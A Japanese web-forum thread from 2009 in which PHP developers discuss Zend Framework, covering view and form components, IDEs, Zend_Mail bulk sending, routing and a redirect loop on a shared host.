2 :
nobodyさん :2009/04/10(金) 10:51:13 ID:b68dluRC
乙
おつ!
4 :
sage :2009/04/10(金) 13:06:47 ID:mTlvGODg
スレ立ておつ Zend_Applicationってどうなん? DIコンテナのメリットがいまいちわかってない
6 :
nobodyさん :2009/04/10(金) 17:41:04 ID:b68dluRC
Maple消えたの?
いまだに大垣氏のブログがエラーなんだが・・ 何があったんだろう
ZActiveRecordの復活はまだですか?
Zend.phpの復活(ry
今日発売の本ってどんな感じなんだろね ちょっと立ち読みしてくる
13 :
nobodyさん :2009/04/11(土) 14:12:36 ID:wuIGrF7Q
14 :
nobodyさん :2009/04/11(土) 14:43:37 ID:UNyFP8Z/
>>13 コシマキに「完全網羅」とか書いてんのに
紹介文じゃ「すべてのコンポーネントを取り上げるのは困難ですが」
とかあってふいた
単なるマニュアルの再編集じゃない事を期待するわ
徹底入門はplaceholder(DBじゃないよ)について一切触れていない以外は良かった。
大垣さんまじで氏んでもうたん? 小さい子どもの写真も載せていたが・・
Zend_Formの(普通はするでしょうね)って解説が良い
18 :
nobodyさん :2009/04/12(日) 18:09:37 ID:ZzYzUV/1
大垣しすとも
大垣さんの近くの人いないの?
21 :
nobodyさん :2009/04/13(月) 13:39:49 ID:jhubRY/9
>>17 フォームってHTML直接書いた方が楽じゃね?
楽(笑)
フォームの体裁を細かく制御する必要がある場合は直(というか独自の実装を作ってしまう)方が楽だよね。 入力値に応じてJSでフォームを動的に変化させたりする場合とか・・・
DBのfetchAllで2万行くらいselectするとダンマリ決め込まれるんだけど、 一気に取得したい場合ってどうすればいいんだろうか。 同じクエリでもlimit 1000とかやると取得できるからSQLの間違いではないと思う。
・サーバのメモリ ・PHPの上限メモリ ・サーバの仕様 ・DBの設定 どれか
流石にゆとりすぎるだろ・・・
28 :
nobodyさん :2009/04/14(火) 13:11:01 ID:/eTffA4T
かりんとう?
カウントとかまさか ファイルに一気に書きだすのが目的 環境はローカルでメモリは4Gあるから 設定で止められてるのかな すまんね
fetchで順次書き出していけばイケルんじゃね?
大垣さん復活してんね よかった死んでなかったか
33 :
nobodyさん :2009/04/18(土) 02:20:23 ID:Huhs6a/Y
pdfのサポートをもうちょっとうまくやってもらいたいよ たとえば2枚のpdfを結合するとかさ
それはもうWebフレームワークじゃなくて帳票ツールじゃないか
36 :
nobodyさん :2009/04/21(火) 13:26:35 ID:XqPpi+V+
最近ZendFrameworkを勉強しているものです。 はじめまして! 今迷っていることがありまして ZendViewとSmarty、Layoutを使ってMVCにおけるVを作成しているんですが 最近、ZendFormが存在することに気がつきました。 みなさん普段はどんな感じでフォームの表示、検証、フィルタリングなされていますか? なんかZendFormとかいらないような気がしてならないんですがメリットって何でしょうか・・・
SmartyでZend_Formって使えたっけ?
使えたと思う。確か。多分。
どうやって?
40 :
nobodyさん :2009/04/21(火) 22:12:52 ID:XqPpi+V+
そういえば話変わるけど新しい参考書でましたね
Zend_Formより、Zend_Viewがいらないというもっぱらの噂。 どうでもいいけど、スレタイトル変わったな。
新しい参考書読んできた。 徹底マスターというよりは入門書って感じだね。 美味しいところを一通り解説してある感じ。 ある程度使ってる人には物足りないと思う。
Zend_Viewそういえば要るかというと微妙な気がしてくるな。外したら読み込み速くなるんだろか。 あとZend_FormでHTML吐くのにZend_View必要じゃなかったっけ?
Zend_Formで使うのは、Zend_View_Helperだけだと思う
45 :
nobodyさん :2009/04/23(木) 08:55:37 ID:B8qf+Yy+
>>42 ありがとう!
みなさんMVCのVはどうしてます?
レンダリングを無効にしてリクエストオブジェクトから
モジュール・コントローラ・アクション名を取得して
レイアウトページをdisplay
tpl側でリクエストと関連するファイルをincludeする
viewのラッパークラス使ってレンダリングを有効活用してSmartyを使う
+zend_layout
オレは後者の方が好きだなぁ
>>45 俺も後者だがZend_Layoutは使っていない。
htmlの入れ子はcommon.tpl内で{action}.tplをinclude
{action}.tplはアクションコントローラ(のサブクラス)のinit()で判別して押し込んでる。
いまだにSmartyとか使ってるのか
Smarty優秀だもん
smarty使えたらZFいらなくね?
ZFのテンプレート機能しか使ってないの?
ZFにテンプレート機能なぞ無い。
あるよ
SmartyをZFで使うのって簡単だよね
マニュアルに載ってるサンプルそのままだと動かなかった気が 過去の話だからもう改善されたかもしれないけど
55 :
nobodyさん :2009/04/23(木) 13:07:37 ID:6tnIZz1g
おまえらZend_Layout使ってる?
俺は使ってない
俺は使ってる
Zend_ViewもSmartyも納得できなくてDOMでXHTML書いて吐いてる
意味不明。
Zend_Layoutは楽じゃね?
61 :
nobodyさん :2009/04/25(土) 02:05:52 ID:Rm4mMXnK
楽ですぜ
NetBeansにPHPのコードサジェストする機能ついてるけど、
Projectフォルダ以下にZendFrameworkのlibrary置いておくと
libraryの中のクラスやメソッドにもコードサジェスト出てくるみたい。
ここのスクリーンキャストの人がやってて初めて知った。
これ凄い便利だし無料だし、いいかもしれない。
http://www.zendcasts.com/
むしろ今まで出来なかったのがNetBeansだけでは
そうなんだ。ZendFrameworkのなかのメソッドまで補完できるのは Zend Studioとか買わないとダメなのかなと思った。 普段エディタでPHP書いてるから、なんか凄いなと思ってしまった。
67 :
nobodyさん :2009/04/30(木) 01:38:17 ID:waf/x0A4
Zend StudioってEclipse+PDT+αだからね でもEclipse使うならPHPEclipseの方がいいけど
>>68 PHPEclipseのプロジェクトなんてとっくに死んでるだろ…
と思ってみてみたら、なんかサイトがTracに変わって綺麗になってるしwww
ちょっと試してみるか。
PDT2.0が、バックスペース連打したときコード補完にも連続アクセスがかかって
フリーズする馬鹿さ加減に嫌気さしてたとこだし
PHPEclipseちょっと使ってみた。 $thisでの補完は効くが、parentやselfが駄目だな。 PDT1.0.3が一番使いやすいわ
Eclipse重くてやだなー
Zend Studio 5.5最強過ぎていまいち踏ん切りつかん
僕のパソコンではeclipse重くない^ ^
eclipseが重いPC使ってる人かわいそう
>>70 バックスペースの補完は何考えてるんだろうねw
俺はCTRL+SPACE時のみ補完するようにしている。
たしかにZS5.5最強
78 :
718 :2009/04/30(木) 23:03:00 ID:8ZgZqFDD
ZSfEも使ってみたけど、機能が多すぎるっつーかなんつーか。。 日本語訳をもうちょっとどうにかして欲しいところ。
軽さでいうならVS.PHPとか結構サクサク動いて使いやすいよ Eclipseが重い糞プレスコでもそこそこ快適に動く
Eclipseが重いんじゃなくてPDTの補完が糞なだけだよ CoreDuoでも止まるもん
81 :
nobodyさん :2009/05/01(金) 01:13:54 ID:qY5HP8+j
getParamとかgetPostとかじゃ駄目なのか それとも文字コードがひねくれてるのか?
Zend_Controller_Request_Httpを継承したクラスを作って、必要な機能を実装すればいいんじゃないかね。 magic_quoteとか入力文字コードのチェックは、BaseControllerでやってしまっても良い気がするけど。
>>80 1.03なら補完で固まることないけどなぁ
2.1もOKだけど、補完が不十分。
親クラスから持ってこなかったり…
>>78 日本語版の6.1を昨日リリースしたから試してネ。
試してみました。 かなりの部分において日本語化されてました。 ただ定型句挿入のキーまで一部和訳されていたような気がします しかしながら最初のリリースに比べ断然使いやすくなってました。
1年間無料アップグレードできる。 けど1年間何もリリースしない。 1年後に新バージョン発表(しかも小数点のマイナーアップ)。 本家は1年以上前にバージョンアップしてるのに。 日本語版6が出たときには既に本家6.1だったはず。
ZSfE6.1よりPDT2の方が優れてる点があるのはどういう事なのw コード補完速度とか、選択した変数の仕様箇所がカラーリングされるとかさ…
PDT2.0.1のマイルストン使ってみたら、いろいろ改善されてたな。
>>86 サンクスです。
差し支えなければ、訳し過ぎ?なところもお問い合わせ入力フォームとか、こことか(笑 でお知らせくださいませ
>>87 現場の力不足で大変申し訳ない
TLホールディングス株式会社様
( www.turbolinux.co.jp/cgi-bin/notify/index.cgi?date2=20090401110717&mode=syosai )
から作業の許可を次回もいただけるよう、
説得の仕方をさらに工夫します。
>>88 ZSfE6.1はPDT1.0.5ベースなので、残念ながらPDT2.0で追加された機能がないのです。
少なくとも英語版は(w、そのうちしばらくしたらPDT2.xベースになるでしょう
91 :
86 :2009/05/02(土) 00:44:56 ID:???
>>90 設定->PHP->テンプレートの名前の部分は和訳しちゃいけない部分なんじゃないのかなぁと。
新規Zend Actionヘルパとかその他諸々です。
日本語化はbat実行すれば良いだけなので簡単は簡単ですが本家が出してる言語パックの方が上書きだけなので
フォーマット的には本家の方が良かったりもします。
/*個人的には日本語訳マニュアル不要かも。。*/
>>91 新規PHPファイル(Zend Framework のファイルも) のダイアログでテンプレート選択が表示される箇所ですね。
その機能の部分はテンプレートの内容はそのままにしましたが
(日本語埋め込むと、文字化けした文字を含むPHPファイルが作られてしまうので)
テンプレート名の部分を変えても 選択肢に出てこなくなるとか、文字化けするとか、の症状がなかったので
日本語にしてあります。
念のため連休明けに英語版と動作を比較して、違っていないかどうか確認してみます。
言語パックは悩ましいところですね。
特にLinuxの場合、ディストリによっては org.eclipse.equinox.p2関係の一部で致命的なエラーになるので、
必要/不要を検証して不要なものは除いてコピーすることにしました。
/*マニュアルの日本語訳はもし不要ですみそうなら、翻訳コストを削減できるので助かります。
いろいろな利害関係上無くすのは難しいとは思いますが*/
93 :
86 :2009/05/02(土) 10:47:18 ID:???
>>92 なるほどそこでの表示用なわけですか。。
エディタ上でのforekのようなショートカット入力一覧だと思っていたので
期待したような動作にはならなかったわけです。
何かトレードオフな感じもしますが英語圏では問題ないんでしょうけどねー
日本語PHPマニュアルに関してはあり版無し版でのリリースがあると選択肢も広がって良いかと思います。
php.net参照する方もいるでしょう。おそらく。。
>>90 「新規Zend Frameworkプロジェクト」の作成ウィザード(?)で
Framework Versionが、1.0, 1.6, 1.7しか選べないのだけれど
(1.5が表示されません。includeパスライブラリ設定で変更は可能)
自分だけかな・・・。
流れを切ってすみません。入門サイトとか初心者本とで調べてみても わからなかったんですが、 Zend_Controllerをapacheのrewrite機能(?)を使わずに普通の パラメータで利用するにはどうしたらいいのでしょうか? 例えば www.hoge.com/index.php?action=huga とかでindexコントローラーのhugaアクションを実行したいのです。
index.phpというファイルにこんな感じで書く $front = Zend_Controller_Front::getInstance(); $router = $front->getRouter(); $request = new Zend_Controller_Request_Http(); $router->addRoute('index', new Zend_Controller_Router_Route('', array( 'module' => 'default', 'controller' => 'index', 'action' => $request->getParam('action'), ) ) ); $front->dispatch();
97 :
95 :2009/05/04(月) 19:30:08 ID:???
>>96 Zend_Controller_Router_Routeに配列で指定してやるんですね。
勉強になりました。ありがとうございました。
お前は何を言ってるんだ
>>94 いいえ、他の人も同じ動作です
なお、当初の目的の、Dojoが使えるかどうか、という判断のためなら 1.5以前と1.6以降の2つの選択肢だけでよいです。
>>93 数百ページあるユーザーガイド(PDFファイル)のことではなく、PHPマニュアルのことをおっしゃっていましたか
ver 5.5ではインストール時にPHPマニュアルを入れる入れないの選択肢がありましたが。
ver6以降は残念ながらありません。
Install AnyWhereというインストーラー作成ソフトで展開のための命令をスキップするかどうかの設定だけではすまなくなり、
PHPマニュアルに関する設定画面の初期情報をもつプロパティーファイルなどをインストール時に動的に書き換える必要が発生してしまいます。
そのため非常に難しいと思います。
102 :
100 :2009/05/05(火) 13:34:39 ID:???
>>94 100の続きです。
ZFの1.7が出た後に、1.7を選択肢に追加して、1.5を追加してない件については
「お客様のご要望」という印籠があるとイスラエルにリクエストしやすいです。
もし差し支えなければ「お問い合わせ窓口」で送信してみてください。
Zend_Mailで質問です 1万通くらいのメール送信をする場合Zend_Mailでメール送信キューの管理などは おこなえないのでしょうか? PearのMail_Queueを使うほうがいいのでしょうか? SMTPで送信すればDBから引っ張ってきたメールアドレスをToに入れて while($to = $mail){ $mail = new Zend_Mail(); $mail->addTo($to); (略) $mail->send(); } でいけますか?(Sendmailでの大量送信は不向きだと知ったので) 一気に1万通は多いので100件くらいにわけた個別のファイルを用意しcronで 1分おきくらいに送信する方法なども考えています。 サーバーは専用サーバーです。
104 :
nobodyさん :2009/05/06(水) 00:50:21 ID:kwNxcPHm
>>103 専用サーバーでもZend Mailでの大量送信はオススメできない。
>>104 Zend_Mailだめですか?
メールサーバーをsendmailからqmailやPostfixに切り替えても
同じでしょうか?
ラッパーである以上コマンドを叩く方が確実に早い。 特にそんな迷惑メール並に送るのであればね
中規模サイトだと自前でメルマガ送信の要件とか結構あるんだよね 大きいサイトだとトライコーンやエイケアとかになるんだけどさ
1万件規模なら自前で用意するのは結構あると思うけど 10万件規模とかになるとSaaSとか外部委託になるのかねぇ?
System.Web.Mailみたいな糞遅いコンポーネント使ってるとかならダメだろうが、Zend_Mail自体はそんなに遅くない キュー管理のボトルネックを無視すれば、まともなSMTPなら15k件/hぐらいは出る まぁ真面目にやるならPHP以外の言語で複数SMTP+マルチスレッドでどうにかした方がいいんじゃないの、って気はするけど
xreaでphp(cgi)5.2.5+ZF1.8.0の環境で動作させています。
Zend_Controller_Action::_redirect()において無限ループが発生しているようで、
具体的には"/"等の指定で内部で完全なアドレスにするために補完が必要になるアドレスです。
http://から始まるアドレスは問題ないです 。
恐らく補完作業中にうまく処理できないため補完がループしていると思うんですが、
issueあたりに投げれば直してもらえるんでしょうか?
> 恐らく補完作業中にうまく処理できないため補完がループしていると思うんですが、 そこを、くわしく。 具体的にどこのバグっていうのがわかってから投稿するのがissueだから MLで相談するか、 日本語のircチャンネルに相談するとかがオススメ
ログ取ってないんで何ともいえんのですが、 _redirect()->コード補完->_redirect()->コード補完->_redirect()....っていうループになっていると思うんです。 _redirect()が完全なアドレスに補完して転送するはずなんですが補完が完成しないままそのアドレスがもう一度_redirect()に渡されちゃうんです Zend_Controller_Action_Helper_Redirector::setGotoUrl()が呼ばれて最後に_redirect();されてると思うんですが、 そこでループになってるかもしれません。
リダイレクトってそもそも、自分で設定するんだよね。 そこのミスとしか思えないんだが・・・
/hoge という書式で設定しています。 実際他のサイトでは動いていますし、内部の問題だと思います。 追加で_forward()も動きませんでした。 パラメータ一部指定や全指定でもダメでした
それで、内部の問題とは言わんな。 エラーコントローラーを設置してないのに、エラーコントローラーに リダイレクトするように書いてるとか、そんなんでしょ?
いやいや、決めつけないでください。 エラーコントローラーは設置してますし単純に"/"と設定してもループ発生します。 現状内部以外に考えらんないです。
決めつけてるんじゃなくてさ。 出てきてる情報がその程度で、内部の問題とか言えないよっていう話。 簡単に言うとさ、たとえば、俺が同じことをして同じ現象が起きるか? その再現手順を出してみてくれ。
mod_rewriteの設定ミスだな
私自身もローカルでは起こらない現象なのでうまく説明ができないんです。 xreaのアカウントをお持ちであれば ZFをインストールし、PHPの動作モードを変更 AddType application/x-httpd-phpcgi .php あとはMVCの基本セットを設置してみて適当なコントローラのアクションで_redirect()を行ってみれば分かるかと思います。
>>118 rewriteはマニュアルのまま引用しています。
通常のアクセス(/index/index等)においては問題はありません。
>>119 _redirectのとき、どこにリダイレクトを設定してるの?
>>121 もちろんです、しないとパラメータエラーでますよ。
ローカルで発生しないんなら、フレームワークのせいじゃないでしょ。 どうみても設定ミス
>>122 そのリダイレクト先を聞いてるんだが、
/index/indexにリダイレクトしても無限ループするの?
>>123 設定というよりかphpの動作モードだと思います。
そのように断定されるのであれば具体的な問題点をお願いします。
.htaccessは以下の通りです。
AddHandler application/x-httpd-phpcgi .php
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
>>124 読み間違えましたすみません。
はい、基本http以外から始まるパスは無限ループしています。
httpから始まるパスは内部的にそれを採用してループから抜けているようなので、
それ以外でのアドレスの補完の際にループに陥っているようです。
>>125 おまいさんの指摘が具体的じゃないから、問題点とかいうレベルじゃないな
>>126 どのあたりが具体的でないとおっしゃっているんでしょうか?
発生する環境や設定事項は明記していますし、問題点のレベルではないというのは心外です。
同じ環境で試していただき、現象が発生しないのであれば私側のミスなんでしょうね。
まぁ、まぁ、落ち着いて おれはZFで数環境普通に動いてるからな。 その環境で再現させる手順を示さないと。 それに、ローカルで普通に動いているものがXREAで動かないなら、 XREAとローカルの違いを分析するのが先でしょう。 それで、XREA以外でも発生するというところまでを示してみて。 そこまではあなたの作業範囲だから。
環境依存っぽい気もするし、XREA以外で試してみれば? わざわざあんな悪質業者使わなくても、 やっすい仮想化環境のレンサバなんて昨今ゴロゴロあるっしょ。
>>128 私自身も他のサーバーで動作することは確認してるんです。
もちろんXREAでも通常は動くんですが、phpの動作モードを変えると動かなくなってしまうんです。
ただモードを変えないとセーフモードがいろいろあるので仕方なしに使っている感じです。
_redirect()に関してはhttpからの記述で代用できるんですが_forwared()に関しては無いので困りました。。
>>129 ごもっともな意見です。。
ただもうアドレス(独自ではない)が知れ渡ってしまっているんです。。
今更変えるわけにも行かずという感じです。
XREAの特殊CGI環境でだけ動かないってことは、XREAのバグと見る方が妥当 問題個所を特定して、XREAの掲示板から答えを探した方がよいよ
XREAのphp.iniのcgi.*周辺が変なんじゃない?とか。当てずっぽだけど。 ; cgi.force_redirect = 1 ; cgi.nph = 1 ; cgi.redirect_status_env = ; cgi.fix_pathinfo=1 fastcgi.impersonate = 1 ここらへん。
Zend Studio for Eclipse 6.1 日本語版落としたんだけど、 もうちょっと気軽にインストール出来るようになりませんか・・・ c:\直下に日本語化パッチ置かないと行けないとか面倒すぎる。 アップデートも制限かかってるとかもうね・・・これなら英語版とPleiadesを使う方がマシな気がするよ。
そのくらいのパッチはやれよw アップデート切るのは納得いかんけど
勝手にアップデートされたらプラグインの整合性取れなくなって サポートが事実上不可能になるだろ 必要なら自分で落としてきてdropinにでも突っ込めばいい
>>134 権限の問題でc:\直下にファイル置けない環境だったんよ・・・。
>>135 日本のZendはここ1年で何かサポート(バージョンアップ)してくれましたか?
バグフィックスのアップデートすらしてなかったような。
>>132 それがビンゴっぽいです。PATH_INFOが空っぽでした。、が、、
ユーザーphp.iniに追加してもその項目自体が反映されてません。
うーんってかんじです。。
ちょっと無理矢理index.phpのど頭に $_SERVER['PATH_INFO'] = $_SERVER['REQUEST_URI']; なんてやってみましたがだめでした。 Redirectorが使用する環境変数ってどのあたりなんでしょうか?
>>138-139 ローカルでXREAと同じようなphp.ini設定にして試して、
同様の現象が発生するかどうかで切り分けしてみると100%の判断出来るんじゃないかな
てか、.htaccessでphp.ini設定の上書きって出来たと思うんだけど、ダメ?
xreaだとzend_serviceが軒並み使えない
>>138 そこまで判明してたらXreaサポートに聞いた方が早い。はやく解決させれ。
なんかレス増えてると思ったらZFに全く関係ないレスで嫌なのは俺だけかいな。
ZS翻訳のサポート&フィードバックとか2chでやらないでくれ。。
xreaにサポートなど無いのだよ
無料会員か。月額400円くらい払ってバリュドメ登録しとけと。。
有料無料関係なくサポートなど無いのだよ
>>148 楽天はZend Framework使わないし、Rubyのまつもとゆきひろ氏と、CakePHPの安藤氏を擁しているから別に要らないんじゃない?
ZendXに移動したよ
すみません初心者です。 ↓のようにBからCへ画面遷移したいのですが、 return $this->_redirect('C'); にするとフレーム内にCが表示されてしまいます。 どうすれば良いでしょうか? 実現したい遷移: 画面1(フレーム) 画面2 −−−−−− −−−−− | A | | C | |−−−−−|⇒ | | | B | | | | | | | | | | | −−−−−− −−−−− 現状: 画面1(フレーム) 画面1(フレーム) −−−−−− −−−−− | A | | A | |−−−−−| ⇒ |−−−−−| | B | | C | | | | | | | | | −−−−−− −−−−−
152です。 画面1のphtmlに target='_top'を書けばOKというのにきづきました。 すみません。
154 :
nobodyさん :2009/05/13(水) 16:35:45 ID:QbvOAcJn
なんで、フレーム使ってるの? 社内アプリですか?
趣味じゃないとこんなベータ版は使えん。 クラス名変えようって提案もあるんだぞ
これでもかなりマシになったよ
変えても互換性保持するだろ低脳
そうやって互換性を保持するから無駄にコードも増えてphp5みたいになっちゃうんだろ。 企画段階で名前くらい決めておけよ。
だあああもすいあせええええええん
それがphpクオリティだろ
別にクラス名変えるくらいなら問題ねーよ。 ファクトリーパターンで開発してりゃいいだけだし。
うっわ…
デザインパターン覚え立ての素人発言にしか見えないのは俺だけ?w
いや、本当にファクトリで問題ないぐらい凄腕なのかもしれない 是非見せてほしいよな
うっわ… お前らZFでハードコーディングしちゃってるの?
>>163 クラス名が変わっただけでてんぱってるなら、デザインパターン覚え立ての素人未満だな
>>164 常に適当に自作したクラスの静的メソッドから呼び出せばいいだけじゃん。
そんなことの何処が凄腕なの?
全てのZend_xxxを自作クラスでラップしてるの? 凄腕というか無駄骨というか…一度コード見せて欲しいです>< 最悪アダプタかませば良いと思ってる俺は素人ですねすみません。
168 :
nobodyさん :2009/05/16(土) 11:02:40 ID:SaZzzxwN
Zend_Session使っているんだが <?php require_once 'Zend/Config/Ini.php'; $config = new Zend_Config_Ini('mySess.ini', 'development'); require_once 'Zend/Session.php'; Zend_Session::setOptions($config->toArray()); とっても便利だなぁ〜
>>167 クラス名変わる程度で困ってる方が明らかに時間の無駄だろ。
ZFなんてクラス名どころかメソッド名変わったりもするし。
むしろクラス名変更で困っちゃうコードを見せてくれよ。
そもそもZFで使うクラスなんて知れてるのに、
全てラップとか言ってる
>>167 はどんな頭してるんだろう
実装しやすくすることが目的なのに 特定の実装に拘るのが目的になるのは本末転倒だと思う
全置換で何か問題ある?
全置換で問題ない 秀丸とかEmacsとかでやってる奴は辛いんだろうけど IDE使ってる奴は一発だからなどうせ
>>174 わからんぞ。秀丸つかってる連中でも、全置換なんか外部ツールでも
PHPでスクリプト書いてでもできるし。
置換じゃ対応できないようなおかしなクラスの呼び出し方してんじゃない?
クラス名と全く同じ変数名つかってるとかw
俺の場合、 Zend_Jsonはphp_json使用時SJISを正しく処理できない。 Zend_Pdfは昔日本語を処理できなかった。 Zend_Service_AmazonはDom使ってるせいで遅い。 これらの都合で拡張して使うのが当たり前になったわ。 一から作るよりはぜんぜん楽ではあるから、重宝してるけど。
177 :
173 :2009/05/16(土) 18:53:44 ID:???
>>174 そうか。全置換使ってるとよく恐くないか聞かれる。(何が??)
一応プレビュー通すし、ユニットテストあれば確認だし、万が一にも問題あれば(まあ無いけど)svnで戻すだけだしこれまで全然問題ない。
全置換は秀丸でもEmacsでもできるし、スクリプトで色々できるけど、 プレビューして確認しながらOKしていく安心感はIDEじゃないと無理だからな。 まぁテキストエディタでも脳内構文チェックしてOKしてけばいいけどw
>>170 単に
>>166 を皮肉りたかっただけです。
「常に適当に自作したクラスの静的メソッドから呼び出せばいいだけじゃん。」にカルチャーショックをうけました。
>>179 ちょ
その記事、ZF 1.5.1 ?
最新の1.8.1ならZend_ApplicationのBootstrapでほぼ全自動だよ
DIコンテナだし
182 :
nobodyさん :2009/05/16(土) 21:42:14 ID:dQ/L5rav
クラスによるだろ…Zend_SessionとかZend_ConfigとかZend_Registryとか、そのまま使う事も多いと思うが・・・。 たとえ数カ所の記述でも、プロジェクト数が増えると結構な影響がでる。 基本問題が無い限りFW自体をアップデートしねぇからいいけど。
日本語が変です
>>182 こういう決めつけ馬鹿ってメンバーにいると面倒だよな
新しく入ったあいつ良く解ってないですよねー 打ち合わせであの用語のこと勘違いしてたじゃないですかー みたいな感じかw 確かにいるな
もしくはコード品質を気にしない日曜プログラマでしょw 複数人開発になれば、クラス名の変更がどれだけリスキーか一瞬で理解できると思うが・・・
うーん、どっちもどっち 名前だけ変わるなんてことないでしょ。問題は振る舞いの変更 BCに縛られて停滞していったプロジェクトがいくつもあるからな。 変更を恐れるようならZFを使う意味ない。 アップデートのリズムが速すぎると感じるなら、ついていけないのは設計の問題。
問題無く稼働している場合はFW自体をアップデートする必要無い
>>187 日曜プログラマが複数人集まってりゃそうなるわな
誰にも告げずにこっそり変更するならリスキーだけど 告知した上で影響範囲を調査して変更なんてのは仕事のプロジェクトでも普通にあることだろ なんか危なさそうだから変な名前だけどそのまま置いておきましょうか?ってやって あとで痛い目に遭うよかマシだぜ
多人数だと結構あるけどな。 クラス名に綴りミスがあって、結構後から気付いたりとか。 でも修正に困ったことなんて無いけど。 変なクラス名を使い続けるよりはずっといいと思う。
193 :
nobodyさん :2009/05/28(木) 19:56:38 ID:fG8WN6gS
Zend_Mail使ってみたんだけど、メールの文字化けが発生するらしい。 しかし、自分のメールアドレスに送ってみたけど、文字化け確認できず。 大至急、直せって言われてるんだけど、どこが原因だか、わからない。 同じ経験した人います?
頻出だけど、ZFのバージョンはいくつ?
送信文字コードや、MIMEタイプ、対象のメーラーあたりの情報が無いと何とも。
196 :
nobodyさん :2009/05/28(木) 20:48:13 ID:fG8WN6gS
>>194-195 大変、失礼しました。
バージョンは最新の1.8系です。
送信文字コードはUTF-8で、MIMEタイプは未指定です。
対象メーラーはOEとThunderbirdです。
問題なのは、本番環境で自分のメールアドレス宛にいろいろメールを
送ってみたけど、全く、問題なかったこと。
文字化けしたと訴えてる人のメーラーもOEなので、わけわからん状態で。
Contant-type と Content-tranfer-type を指定すれ。 受信したメール本文を見て、ヘッダと内容がMIME的に正しいかチェックすれ。
OutlookとOutlookExpressの区別がついてない人もいるからそこはもっと突っ込んで聞いておくべき あとISO-2022-JPで送る方が無難だと思う
200 :
nobodyさん :2009/05/28(木) 22:42:33 ID:fG8WN6gS
>>197 メーラーのバージョンはOE6.00.2900.180
>>198 Content-typeとContent-tranfer-typeを指定ってどうすればいいの?
MIME的に正しいかどう判断するんでしょう?
>>200 MIME系の知識はZFの範疇外、WEB PGとしての基礎知識なので追々学べばいいよ。
ただ具体的に何が文字化けしてるかわからないと、詳細な原因は特定できないよ。
件名?本文?半角カナ文字?
とりあえず、ヘッダとボディをBase64化してみれ。
Zend_Mail::setEncodingOfHeaders(Zend_Mime::ENCODING_BASE64);
Zend_Mail::setBodyText($txt, "utf-8", Zend_Mime::ENCODING_BASE64);
setEncodingOfHeaders はdeprecated扱いなので代わりに setHeaderEncodingを使ってちょ
205 :
193 :2009/06/01(月) 13:28:19 ID:VRCsDIyG
結局、原因はわからずでしたが、 $mail->setBodyText($body,"UTF-8")を やってみたら、文字化け報告はなくなりました。 お騒がせしてすいません。
原因がわからずでしたで済ませちゃうのか…PGとしては最低だな…。 MIMEの基礎から学んでこいや。
207 :
nobodyさん :2009/06/01(月) 19:14:02 ID:VRCsDIyG
だって、ほとんどの環境で文字化け確認できないだもん。 社内向けのものだし、まぁ、いいんじゃね?みたいな。 で、一応、setBodyText($body,"UTF-8")でその人の文字化けも直ったしw
次の質問予想 社内のサイボウズで文字化けします どうしたらいいですか?
まっとうなWEB PGなら、setBodyText($body,"UTF-8")で治った時点で原因が理解出来ると思うがなw 君はPGに向いていない、PGの能力の差は大抵がデバッグ能力の差だよ。 setBodyTextメソッドすら使いこなせてなかった時点で、素人以下ってのは明白だがw
1.8の話題にしようぜ 人を叩くのは良くないですよ
211 :
207 :2009/06/02(火) 13:04:23 ID:IL6uVg+K
まあ、そんなカッカすんな。 取りあえず動けばいいって言う考え方はWEBなら悪くないと思うぜ。
ゆとり世代はこえぇなぁ・・・
とりあえず動くだけじゃ駄目だから Webシステムは簡単にサイト落ちたりクラックされたりするんじゃないのか
PHPは基礎知識なしでとりあえず動いちゃうからね・・・ゆとりの巣窟になるのも仕方無い。 と自分に言い聞かせている。 職場の部下だったら小一時間説教もんだけどw
216 :
nobodyさん :2009/06/04(木) 14:55:40 ID:hOup5cX3
>>215 んな事言ってるおまえがひどいコード書いてるかもなw
ひどくないコードってどんなコード?
画面遷移が多かったり、フォーム項目が多かったり、Controllerの処理が長くなりそうな時ってどうしてる? ファイル分割したいんだけども、ZFに命名規約が無いから迷ってるんよ。
それはもうプロジェクトの裁量で外に追いやっていくしかない
ディレクトリ階層が複雑になると管理が面倒になりませんか? controllersの中に適当に掘りまくっていいのかな…
具体性がないから、何がしたいかわからないんだよな。 一応言っとく、 コントローラーは同一階層でのサブ化と、階層を掘ったサブ化で コントローラー名の命名規則あるからね。 camelcaseでサブ化すると同一階層、_で区切るとディレクトリ
クラスの命名規則はしってるよ。 リファレンス通りのディレクトリ構成で作った場合にコントローラ内の一部ロジックを外だしにしたいんだ。 たとえば、 IndexCotroller内の処理が冗長になりそうなので、一部のロジックを外部に出したい場合とかね。
modelsがそれじゃないの?
modelはもう少し汎用的なものなイメージがあるけど、それでいいのかな。
他のコントローラや他のプロジェクトでも使うならアクションヘルパにするし モノによってはプラグインにする。 Zendの規則に従わずに普通にライブラリディレクトリ作ってincludeしても 別におk。モデルにした経験は無いな。
たとえば、どんなロジック?
symfonyの場合はPeerメソッドにある程度突っ込んだりするけどな
229 :
nobodyさん :2009/06/11(木) 14:08:50 ID:v8Ky+P1J
Actionのinitでエラーが発生したときエラーページに_forwardしてるんですが すぐ処理が転送してくれません。 例えばController_Actionのメソッドとして、init(),とloginAction() があるとします。 init()でDBの接続処理を行い、接続できなかったときにエラーページに 飛ばしたいのにloginActionが実行されてしまいます。 #_forwardにはreturn をつけて書いてます。 init()からすぐ別コントローラに飛ばすにはredirectじゃないとだめなんでしょうか みなさんどうしてますか
まず、_forwardとredirectは別ね。 で、おれなら、DB接続エラーはコントローラーにはハンドルさせないで例外を投げる。 initは初期化処理のみにしておけば、通常処理用のエラー処理は入ってこないはず。 が、どうしても、アクション前条件判定でエラーコントローラーに飛ばすなら、 preDispatchで_forwardする。
1.8.3 使ってたら exception 'Zend_Cache_Exception' with message 'cache_dir must be a directory' in /virtual/monabase/library_test/Zend/Cache.php:208 っていうのが出るようになったんですけど キャッシュとか使わなくていいんで どうにかなりませんか?
どうにかしたかったら、backtraceぐらい晒してくれ。 おれは1.8.3だけどそんなエラー出ない。
Zend_Locale::setCache();したら直った Zend_Date使ってるのが影響したんだろうと思うんですけど
234 :
nobodyさん :2009/06/16(火) 20:50:22 ID:hxQFGTlU
マニュアルの日本語化って今どうなっとるんです?
1.8.0からRADツールが追加されたと聞いてやってきました。 再度ZendFrameworkを触ってみようと思います。 皆さんよろしくお願いします。
237 :
nobodyさん :2009/06/17(水) 13:55:51 ID:lVB38oSh
